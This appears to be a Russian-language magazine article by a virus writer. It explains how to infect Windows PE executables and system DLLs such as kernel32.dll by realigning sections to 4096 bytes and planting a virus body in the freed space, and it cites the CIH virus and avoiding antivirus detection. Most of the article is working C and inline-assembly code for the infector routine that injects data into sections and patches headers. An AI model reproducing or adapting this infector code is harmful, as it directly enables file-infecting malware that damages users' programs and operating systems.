Итак, раздумывал я как-то над разными способами заражения PE
файлов под Win9x/NT, и вспомнил про идею реализованную в win95.cih.
Там тело виря писалось в свободное место, остающееся после
выравнивания секции на FileAlignment, а стартовый код писался в
свободное место в PE header-е. Идея мне на тот момент нравилась, но
убивало малое количество свободного места в секциях, тут на C/C++
трудно что-ндь сделать. Да и стартовый код не на месте - насколько
я помню NT такие файлы не любит... Ну и глядя на PE header очередной
потенциальной жертвы я высмотрел что FileAlignment = 0x200 (512 байт).
Большинство файлов имеют именно такое значение FileAlignment (в принципе
это было известно и раньше). Подумав еще слегка мне пришло в голову что
после загрузки в адресное пространство процесса, секции имеют иное
выравнивание - SectionAlignment. А вспомив что в архитектуре процессоров
x86 минимальный размер страницы равен 4096 байт (он же впрочем и
максимальный ;))), то возникает мысль что если перекомпоновать файл
и выровнять все секции в файле на эту величину (4096), то можно поиметь
несколько больше свободного места. Причем чем больше количество секций
тем больше может оказаться свободного пространства. Прирост свободного
пространства в одной секции варьируется от 0 до 4095 байт - что
согласитесь не плохо...
Собственно почему мне понравился данный метод. Дело в том что при
написании виря я столкнулся с такой проблемой: при заражении системных
dll-ей под NT нельзя бесконечно увеличивать ImageSize (увеличение последней
секции как раз требует этого). Потому как эти dll-и (в частности kernel32.dll)
система не желает перемещать на новое место в случае нехватки места при
загрузки по ImageBase. Возникновение такой ситуации приводит к остановке
загрузки системы... А места как раз и не хватает - следом за kernel32.dll
идет ntdll.dll и расстояние между ними не очень велико. Для вирей на asm
это не очень страшно - а вот на С может стать (и стало) проблемой.
Так вот при использовании этого метода мы можем наскрести необходимое
пространство. Естественно что это не единственный путь. Однако я реализовал
именно его.
Собственно все реализовано в паре функций.
DWORD
UpgradeSection(
PVOID pMapFile, // указатель на загруженный в память образ PE файла
DWORD dwSectionNumber, // номер секции для расширения
PVOID pArray, // данные для записи в образовавшееся свободное место
DWORD dwArraySize, // размер данных (должен быть заранее известен, если
// свободного места не хватит то ф-я ничего не сделает)
LARGE_INTEGER *pOriginalFileSize // размер файла до изменения этой секции
)
UpgradeSection возвращает на сколько увеличился размер файла
Следущая ф-я FixUpDebugDirectory необходима для коррекции точки входа DebugDirectory
Кто сочтет ее лишней может ее выкинуть. Я ее использовал еще для одной цели.
Но о ней в данной статье нет смысла говорить.
DWORD
FixUpDebugDirectory(
PVOID pMapFile, // указатель на загруженный в память образ PE файла
DWORD dwDelta, // на сколько сместить DebugDirectory
IMAGE_SECTION_HEADER *pUpgradeSection // указатель на header изменяемой секции
)
FixUpDebugDirectory - возвращает размер отладочной информации
Код абсолютно не оптимизирован (в тот момент такой цели не ставилось), так
что кому надо тот пусть этим и занимается.
В ф-ии UpgradeSection присутствует следущая вещь:
if(pCodeSection != pSection)
pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ;
дело в том что в секциях ".rdata", ".data" часто SizeOfRawData <= VirtualSize,
то есть наш код может попасть в участок данных который после загрузки должен
быть проинициализирован 0. Мы же расширив секцию нарушаем это требование, это
может быть фатальным для некоторых программ. Поэтому при сборке тела виря на
старте нам необходимо обнулить ту чать секции которую мы занимаем (после
переноса нашего кода на стек или еще куда, разумеется). Естественно что это
справедливо только для сегментов данных. Для сегмента кода этого делать не
нужно. Я применил простейшую проверку только на кодовый сегмент, однако имеет
смысл повторить сей же трюк для некоторых др. сегментов (например ".reloc") -
дабы не вводить в искушение аверов...
DWORD UpgradeSection(PVOID pMapFile, DWORD dwSectionNumber, PVOID pArray, DWORD
dwArraySize, LARGE_INTEGER *pOriginalFileSize)
{
if(!pMapFile || !pOriginalFileSize || !pArray || !dwArraySize)
return 0;
if(pOriginalFileSize->QuadPart == 0)
return 0;
if(NumOfSections(pMapFile) <= (int)dwSectionNumber)
return 0;
DWORD dwFreeSize = 0;
DWORD dwDelta = 0;
FILETIME *pFileSize = (FILETIME*)pOriginalFileSize;
IMAGE_SECTION_HEADER *pSection = GetFreeSpaceIntoSection(pMapFile, &dwFreeSize, dwSectionNumber);
if(!pSection)
return 0;
if(!dwFreeSize)
return 0;
if(dwFreeSize < dwArraySize)
return 0;
IMAGE_SECTION_HEADER *pCodeSection = GetCodeSectionPtr(pMapFile, NULL);
if(pCodeSection != pSection)
pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ;
DWORD dwAlignSizeSection = (GetSizeSectionReally(pSection) + 0x0fff) & 0xfffff000;
if(dwAlignSizeSection == pSection->SizeOfRawData)
{
_memcpy((PBYTE)((DWORD)pMapFile + pSection->PointerToRawData + GetSizeSectionReally(pSection)),
(PBYTE)pArray, dwArraySize);
if(pSection->Misc.VirtualSize < dwAlignSizeSection)
pSection->Misc.VirtualSize = dwAlignSizeSection;
return 0;
}
else
{
dwDelta = dwAlignSizeSection - pSection->SizeOfRawData;
FixUpDebugDirectory(pMapFile, dwDelta, pSection);
_memcpy((PBYTE)((DWORD)pMapFile + pSection->PointerToRawData + dwAlignSizeSection),
(PBYTE)((DWORD)pMapFile + pSection->PointerToRawData + pSection->SizeOfRawData),
pFileSize->dwLowDateTime - pSection->PointerToRawData - pSection->SizeOfRawData);
_memcpy((PBYTE)((DWORD)pMapFile + pSection->PointerToRawData + GetSizeSectionReally(pSection)),
(PBYTE)pArray, dwArraySize);
if(pSection->Misc.VirtualSize < dwAlignSizeSection)
pSection->Misc.VirtualSize = dwAlignSizeSection;
pSection->SizeOfRawData = dwAlignSizeSection;
int nSections = NumOfSections(pMapFile);
PIMAGE_SECTION_HEADER psh = &pSection[1];
for(int i=dwSectionNumber+1; i<nSections; i++)
{
if(psh->PointerToRawData)
psh->PointerToRawData += dwDelta;
psh++;
}
}
return dwDelta;
}
IMAGE_SECTION_HEADER *GetFreeSpaceIntoSection(PVOID pMapFile, PDWORD pdwFreeSize,
DWORD dwSectionNumber)
{
if(!pdwFreeSize)
return NULL;
if(NumOfSections(pMapFile) <= (int)dwSectionNumber)
return NULL;
DWORD dwSizeSection = 0;
DWORD dwFreeSize = 0;
IMAGE_SECTION_HEADER *pCodeSection = (PIMAGE_SECTION_HEADER)SECHDROFFSET(pMapFile);
if(pCodeSection)
{
pCodeSection += dwSectionNumber;
dwSizeSection = (GetSizeSectionReally(pCodeSection) + 0x0fff) & 0xfffff000;
dwFreeSize = dwSizeSection - GetSizeSectionReally(pCodeSection);
*pdwFreeSize = dwFreeSize;
}
return pCodeSection;
}
IMAGE_SECTION_HEADER *GetCodeSectionPtr(PVOID pMapFile, PDWORD pdwSectionNumber)
{
if(!pMapFile)
return NULL;
int nSections = NumOfSections(pMapFile);
int i;
PIMAGE_SECTION_HEADER psh;
if((psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET(pMapFile)) != NULL)
{
for(i=0; i<nSections; i++)
{
if((psh->Characteristics & IMAGE_SCN_MEM_EXECUTE) && !(psh->Characteristics & IMAGE_SCN_MEM_WRITE))
{
if(pdwSectionNumber)
*pdwSectionNumber = i;
return psh;
}
else
psh++;
}
}
return NULL;
}
DWORD GetSizeSectionReally(IMAGE_SECTION_HEADER *pSection)
{
if(pSection->Misc.VirtualSize <= pSection->SizeOfRawData)
return pSection->Misc.VirtualSize;
return pSection->SizeOfRawData;
}
DWORD FixUpDebugDirectory(PVOID pMapFile, DWORD dwDelta, IMAGE_SECTION_HEADER
*pUpgradeSection)
{
if(!pMapFile)
return 0;
PIMAGE_DEBUG_DIRECTORY debugDir;
PIMAGE_SECTION_HEADER header;
unsigned cDebugFormats, i;
DWORD offsetInto_rdata;
DWORD va_debug_dir;
PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)PENTHDROFFSET(pMapFile);
SECTION_NAME Debug;
SECTION_NAME rData;
DWORD dwSizeDebugInfo = 0;
Debug.m_cLowWord = WORD4('.', 'd', 'e', 'b');
Debug.m_cHighWord = WORD4('u', 'g', 0, 0);
rData.m_cLowWord = WORD4('.', 'r', 'd', 'a');
rData.m_cHighWord = WORD4('t', 'a', 0, 0);
if(!pNTHeader)
return dwSizeDebugInfo;
// This line was so long that we had to break it up
va_debug_dir = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress;
if(va_debug_dir == 0)
return dwSizeDebugInfo;
// If we found a .debug section, and the debug directory is at the
// beginning of this section, it looks like a Borland file
header = GetSectionHeaderPtrByName(pMapFile, (char*)&Debug);
if(header && (header->VirtualAddress == va_debug_dir))
{
debugDir = (PIMAGE_DEBUG_DIRECTORY)(header->PointerToRawData+(DWORD)pMapFile);
cDebugFormats = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].Size;
}
else // Look for microsoft debug directory in the .rdata section
{
header = GetSectionHeaderPtrByName(pMapFile, (char*)&rData);
if(!header)
return dwSizeDebugInfo;
// See if there's even any debug directories to speak of...
cDebugFormats = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].Size /
sizeof(IMAGE_DEBUG_DIRECTORY);
if(cDebugFormats == 0)
return dwSizeDebugInfo;
offsetInto_rdata = va_debug_dir - header->VirtualAddress;
debugDir = MakePtr(PIMAGE_DEBUG_DIRECTORY, pMapFile, header->PointerToRawData + offsetInto_rdata);
}
for(i=0; i < cDebugFormats; i++)
{
if(pUpgradeSection)
{
if(pUpgradeSection->PointerToRawData < debugDir->PointerToRawData)
debugDir->PointerToRawData += dwDelta;
}
dwSizeDebugInfo += debugDir->SizeOfData;
debugDir++;
}
return dwSizeDebugInfo;
}
IMAGE_SECTION_HEADER *GetSectionHeaderPtrByName(PVOID pMapFile, char *szSection)
{
PIMAGE_SECTION_HEADER psh;
int nSections = NumOfSections (pMapFile);
int i;
if((psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET(pMapFile)) != NULL)
{
for(i=0; i<nSections; i++)
{
if(!_strnicmp((char*)psh->Name, szSection, IMAGE_SIZEOF_SHORT_NAME))
{
return psh;
}
else
psh++;
}
}
return NULL;
}
int _strnicmp(const char * first, const char * last, size_t count)
{
int f,l;
if(count)
{
do{
if(((f=(unsigned char)(*(first++))) >= 'A') && (f <= 'Z') )
f -= 'A' - 'a';
if(((l=(unsigned char)(*(last++))) >= 'A') && (l <= 'Z') )
l -= 'A' - 'a';
}
while(--count && f && (f == l));
return( f - l );
}
return(0);
}
int NumOfSections(PVOID pMapFile)
{
/* Число сегментов из заголовка PE файла. */
return (int)((PIMAGE_FILE_HEADER) PEFHDROFFSET(pMapFile))->NumberOfSections;
}
__declspec(naked) void _memcpy(PBYTE pDest, PBYTE pSource, int dwCount)
{
// if(pDest > pSource)
// {
// for(; --dwCount >= 0; )
// pDest[dwCount] = pSource[dwCount];
// }
// else
// {
// while(dwCount--)
// *pDest++ = *pSource++;
// }
__asm {
push ebp
mov ebp, esp
pushad
mov esi, [pSource]
mov edi, [pDest]
mov ecx, [dwCount]
test ecx, ecx
jz __Ex
cmp edi, esi
jbe __Dir
std
add esi, ecx
add edi, ecx
dec esi
dec edi
rep movsb
cld
jmp __Ex
__Dir:
cld
rep movsb
__Ex:
popad
mov esp, ebp
pop ebp
ret
}
}
#define PAGESIZE 0x1000
#define SIZE_OF_NT_SIGNATURE 4
#define WORD4(a,b,c,d) ((a)+(b)*0x100+(c)*0x10000+(d)*0x1000000)
#define MakePtr( cast, ptr, addValue ) (cast)( (DWORD)(ptr) + (addValue) )
/* Смещение на сигнатуру PE файла */
#define NTSIGNATURE(a) ((LPVOID)((BYTE *)a + \
((PIMAGE_DOS_HEADER)a)->e_lfanew))
/* Операционные системы MS идентифицируют PE файлы по сигнатуре
размером dword; заголовок PE файла расположен непосредственно
после этого dword */
#define PEFHDROFFSET(a) ((LPVOID)((BYTE *)a + \
((PIMAGE_DOS_HEADER)a)->e_lfanew + \
SIZE_OF_NT_SIGNATURE))
#define PENTHDROFFSET(a) ((LPVOID)((BYTE *)a + \
((PIMAGE_DOS_HEADER)a)->e_lfanew))
/* Опциональный заголовок - сразу после заголовка PE файла */
#define OPTHDROFFSET(a) ((LPVOID)((BYTE *)a + \
((PIMAGE_DOS_HEADER)a)->e_lfanew + \
SIZE_OF_NT_SIGNATURE + \
sizeof (IMAGE_FILE_HEADER)))
/* Заголовки сегментов - сразу после опционального заголовка */
#define SECHDROFFSET(a) ((LPVOID)((BYTE *)a + \
((PIMAGE_DOS_HEADER)a)->e_lfanew + \
SIZE_OF_NT_SIGNATURE + \
sizeof (IMAGE_FILE_HEADER) + \
sizeof (IMAGE_OPTIONAL_HEADER)))
любые вопросы по поводу статьи можно задать на форуме
u_dev
Статья для журнала Top Device
|